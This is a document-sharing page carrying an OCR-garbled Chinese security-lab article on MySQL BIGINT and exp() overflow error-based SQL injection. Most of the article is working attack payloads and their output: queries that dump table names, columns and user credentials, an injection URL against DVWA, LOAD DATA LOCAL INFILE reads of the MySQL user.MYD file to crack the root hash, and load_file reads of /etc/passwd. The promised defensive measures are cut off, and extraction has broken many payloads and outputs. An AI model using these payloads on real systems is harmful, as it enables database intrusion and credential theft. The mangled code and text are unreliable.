MYSQLBIGINT溢出錯誤的傷害及防護(hù)手段_第1頁
MYSQLBIGINT溢出錯誤的傷害及防護(hù)手段_第2頁
MYSQLBIGINT溢出錯誤的傷害及防護(hù)手段_第3頁
MYSQLBIGINT溢出錯誤的傷害及防護(hù)手段_第4頁
MYSQLBIGINT溢出錯誤的傷害及防護(hù)手段_第5頁
已閱讀5頁,還剩2頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

1、DBSeCMY SQL BIGINT溢出錯誤的危害及防護(hù)手段安華金和思成概述做者Osanda Malith Jayathissa在mysql 5.5.5及以上的版本發(fā)現(xiàn)了一個整數(shù)溢出錯誤,可以引起越權(quán)執(zhí)行漏洞。這個漏洞發(fā)生在mysql 5.5.5及以上版本。表現(xiàn)形式為在報錯信息中越權(quán)執(zhí)行SQL語句。由于5.5.5開始Mysql引入整數(shù)溢出報錯機(jī)制。該機(jī)制在報錯信息中會顯示部分查詢結(jié)果, 低于5.5.5的版本整數(shù)溢出不會顯示報錯信息(無法利用溢出報錯漏洞)。作者指出這個漏 洞主要是用于 SQL注入攻擊。安華金和數(shù)據(jù)庫攻防實(shí)驗(yàn)室(DBSec Labs )經(jīng)過研究,確認(rèn)此漏洞的危害遠(yuǎn)比作者認(rèn)為的大。

2、該漏洞不但可以作為SQL注入攻擊的手段,更可進(jìn)一步對數(shù)據(jù)庫和數(shù)據(jù)庫所在操作系統(tǒng)的本地文件系統(tǒng)做更深一步的入侵。注入技術(shù)Mysql的SQL注入從技術(shù)角度主要可以分為7類技術(shù)手段1. 常用 mysql 注入(SELECT)2. 常用 mysql 注入(insert、update)3. mysql報錯注入4. mysql常規(guī)盲注5. mysql時間盲注6. mysql數(shù)據(jù)庫版本特征注入7. mysql其他注入技巧DBSeC f t *Osa nda Malith Jayathissa發(fā)現(xiàn)的這個漏洞屬于報錯注入的一種,通過構(gòu)筑整數(shù)溢出來導(dǎo)致出現(xiàn)報錯信息。利用select 0來獲取最大整數(shù)值,然后sel

3、ect 0 +1 就可以達(dá)到溢出的目的。這說明只要用函數(shù)構(gòu)筑0和1就可以達(dá)到讓目標(biāo)函數(shù)緩沖區(qū)溢出的目的。iysql> select 0;! 1844G744073709551615po埔 in set <0.00 sec)ysql> select M0+1;RROR 1690 (22003BIGINT UNSIGNED ualue Is out of pange in J <<0> * 1)J iysql>0的邏輯非就是1,任何一個查詢成功的返回值都是0所以我們可以利用這種方式來執(zhí)行我們希望執(zhí)行的操作。iysql> select t<sel

4、ect*fron<select user<>>x>:<-+;* <select*f roni<select user<>>x> Irow in set (0.00 sec9sql> select ""B+felect*frontselect user<>)x>:RROR 1690 <22003>: BIGINI UNSIGNED value is out oF range in # <<0> + <not<<sele t * raO

5、tPloCAlhoStJ from dual>>注意看上圖中的報錯信息。在報錯信息中可以獲取到我們希望執(zhí)行的select user();的結(jié)果,但同時我們也發(fā)現(xiàn)存在一個限制,就是報錯信息只能返回極少的行數(shù),這一點(diǎn)可以通過 limit x,y函數(shù)來解決。作者同時給出了下面這些獲取表名、列名、數(shù)據(jù)方法的例子。select exp(select*from(select table_ name from in formatio n_schema.tables where table_schema=database() limit 0,1)x);select exp(select*from(

6、select colu mn_n ame from in formatio n_ schema.colu mnswhere table _n ame='users' limit 0,1)x);select exp( (select*from(select con cat_ws(':',id, user name, password) from users limit0,1)x);下面這個查詢可以從當(dāng)前的上下文中dump出所有的tables與columns,我們也可以dump出所有的數(shù)據(jù)庫。exp(select*from(select(c on cat(:=0,(

7、selectcoun t(*)from'i nformati on _schema'.colu mns whereDBSeC* * * *table_schema=database()a nd:=c on cat(,0xa,table_schema,0x3a3a,table_ name,0x3a3a,c olu mn_n ame),)x)http:/localhost/dvwa/vul nerabilities/sqli/?id=1' orexp(select*from(select(c on cat(:=0,(select coun t(*)from'i nf

8、ormati on _schema'.colu mnswhere table_schema=database()a nd:=c on cat(,0xa,table_schema,0x3a3a,table_ name,0x3a3a,column_n ame),)x)- -&Submit=Submit#三.進(jìn)階利用作者只給大家展示了該漏洞的SQL注入用法。經(jīng)過安華金和數(shù)據(jù)庫攻防實(shí)驗(yàn)室(DBSec Labs )的研究發(fā)現(xiàn),此漏洞可以用于在數(shù)據(jù)庫上進(jìn)行越權(quán)訪問和對數(shù)據(jù)庫所在操 作系統(tǒng)進(jìn)行非法訪問。越權(quán)訪問無權(quán)限表的核心思路是:從文件系統(tǒng)中讀取數(shù)據(jù)庫表的內(nèi)容 到可訪問的表中。最直接的方法

9、是利用 mysql的load_file函數(shù)對本地核心文件做讀操作。但在實(shí)際應(yīng)用中 往往是通過網(wǎng)站獲取的用戶不具備FILE權(quán)限。不具備file權(quán)限的Mysql的用戶是無法通過Load_file讀文件或者通過into dumpfile 和into outfile去寫文件。我們可以要采用迂回的手 段,先把想讀取的數(shù)據(jù)庫表文件信息讀入到數(shù)據(jù)庫中,然后在從數(shù)據(jù)中去訪問。這其中的關(guān) 鍵是 load data in file 函數(shù)。下面用Mysql庫下的user ( user表負(fù)責(zé)存儲 Mysql的賬號密碼)表給大家做個示例。首先創(chuàng)建一個不具備 FILE權(quán)限的數(shù)據(jù)庫用戶test.去讀取user.MYD從其中

10、獲取到ROOT賬 號的加密字符串,然后再通過對加密字符串的破解獲得root用戶的密碼,User表在本地文件中具體體現(xiàn)為 USER.MYD。SQL SELECT * FROMinto OUTFILE * C:/x txt*Err 1045 Access demi ed for user teslocsihostC'tisinc把 user.MYD 寫入 test 有訪問權(quán)限的表中:select exp(LOAD DATA LOCAL INFILE'C:Program FilesMySQLMySQL Server 5.5datamysql/user.MYD' INTO TA

11、BLE test2 fields term in ated by ")x);然后執(zhí)行 select * from test2;root ! *E&CC90B8?8B948C35E92B003C792C46C58C4fiF? 2016 安華金和-3 -密級:內(nèi)部公開至此獲取root密碼的加密字符串。mysql采用的是md5進(jìn)行加密??梢酝ㄟ^訪問相關(guān) 網(wǎng)站對加密字符串進(jìn)行破解,從而得到ROOT的真實(shí)密碼,最終得到MYSQL ROOT 權(quán)限,從而達(dá)到訪問數(shù)據(jù)庫中任意敏感信息的目的,同理其他的表也可以通過類似的手段獲得表中 的敏感數(shù)據(jù)信息。特別提示一點(diǎn),大家在實(shí)際應(yīng)用中可能會發(fā)現(xiàn)有的

12、表并不能成功讀入有用信息,這是由 于部分表中信息含有00字符,00字符會截斷后面的內(nèi)容,導(dǎo)致無法讀入數(shù)據(jù)庫。針對這個問題稍對上面的讀入語句進(jìn)行修改就可以避免。語句改為:select exp(LOAD DATALOCAL INFILE 'C:Program FilesMySQLMySQL Server 5.5datamysql/user.MYDTNTOTABLE test2 fields terminated by '0')x);來避免一些因?yàn)樽址鴮?dǎo)致的截斷。拿到了數(shù)據(jù)庫的 ROOT權(quán)限只是開始,絕非結(jié)束。下面我們要通過MSYQL來全面控制mysql所在的操作系統(tǒng)。獲得

13、操作系統(tǒng)控制權(quán)限最直接的辦法就是直接獲取操作系統(tǒng)的密碼, 這要運(yùn)用到mysql的本地讀寫權(quán)限。mysql本身支持主2種方式來獲取系統(tǒng)中文件信息。方式一:通過上文的load data in filecreate table a(cmd text);load data in file 'c:xxxxxxxxx.txt' into table a;select * from a;方式二:獲得FILE權(quán)限后使用load_filecreate table a(cmd text);in sert into a(cmd) values(load_file('c:ddddddddd.t

14、xt');select * from a;load_file 函數(shù)的使用方式,可以簡化為select load_file ( 'c:ddddddddd.txt')的形式。這兩種方式都要求用戶擁有l(wèi)oad data infile函數(shù) 或load_file函數(shù)的執(zhí)行權(quán)限。同樣利用這個漏洞可以利用報錯信息越權(quán)執(zhí)行函數(shù)。例如在 Linux下select exp ( ( select *from (select load_file('/etc/passwd')a );selectselect*frwifselect'/etc/sswd1)»);E

15、RROR 破9日(22903): DOUBLEis out of reng? 5select 'rwt;Jt;e:0;root: /root:/bWbasldaenon;x: 1:1 ; dbettoii:i /b tft/shbin;k:2;2;bin:/bin;/bin/shtys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:fbin:/bin/syncnan: x: 6:12:nan: /var/cache/nan: /bin/shlp:x:7:7:lp:/var/spMl/lpd:/btn/shx:8:/var/natl r/btn/sb

16、通過這種方式該漏洞可以通過讀取配置文件,獲取操作系統(tǒng)或操作系統(tǒng)上部分軟件的密 碼賬號和配置信息。SK DBSeC不過令人遺憾的是對系統(tǒng)文件的讀取可以利用該漏洞,但寫入則無法正確利用。寫入的 結(jié)果只能是0.mysql> select exp(select*from(select 'hello')a) into outfile 'C:/out.txt:ERROR 1690 (22003): DOUBLE value is out of range in 'exp(select 'hello' from dual)'查詢out.txt發(fā)現(xiàn)

17、里面并未寫入 hello只寫入了 0# type C:out.txt0無論是SQL注入、越權(quán)訪問還是讀取本地文件,該漏洞利用的核心就是構(gòu)造 select0+1的模式造成整數(shù)溢出。把想要越權(quán)訪問的語句構(gòu)筑在那個模式的自語句中。操作 不僅限于select關(guān)鍵字用無害的select user()做子語句進(jìn)行查詢,update delete insert操作都可執(zhí)行。mysql> update users set password='Peter' A exp(select*from(select user()x) where id=4;ERROR 1690 (22003): DO

18、UBLE value is out of range in 'exp(select 'testlocalhost' from dual)'mysql> delete from users where id='1' | exp(select*from(select user()x);ERROR 1690 (22003): DOUBLE value is out of range in 'exp(select 'testlocalhost' from dual)'Mysql 5.5.5及以上版本是現(xiàn)在市場上的主流數(shù)據(jù)庫。本漏洞是Mysql自身邏輯錯誤產(chǎn)生的漏洞,需要等待官方發(fā)布的修正補(bǔ)丁。在等待官方發(fā)布修補(bǔ)補(bǔ)丁的這段真空期內(nèi),用戶可以通過以下方式來保護(hù)mysql數(shù)據(jù)庫:DBSeC在

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論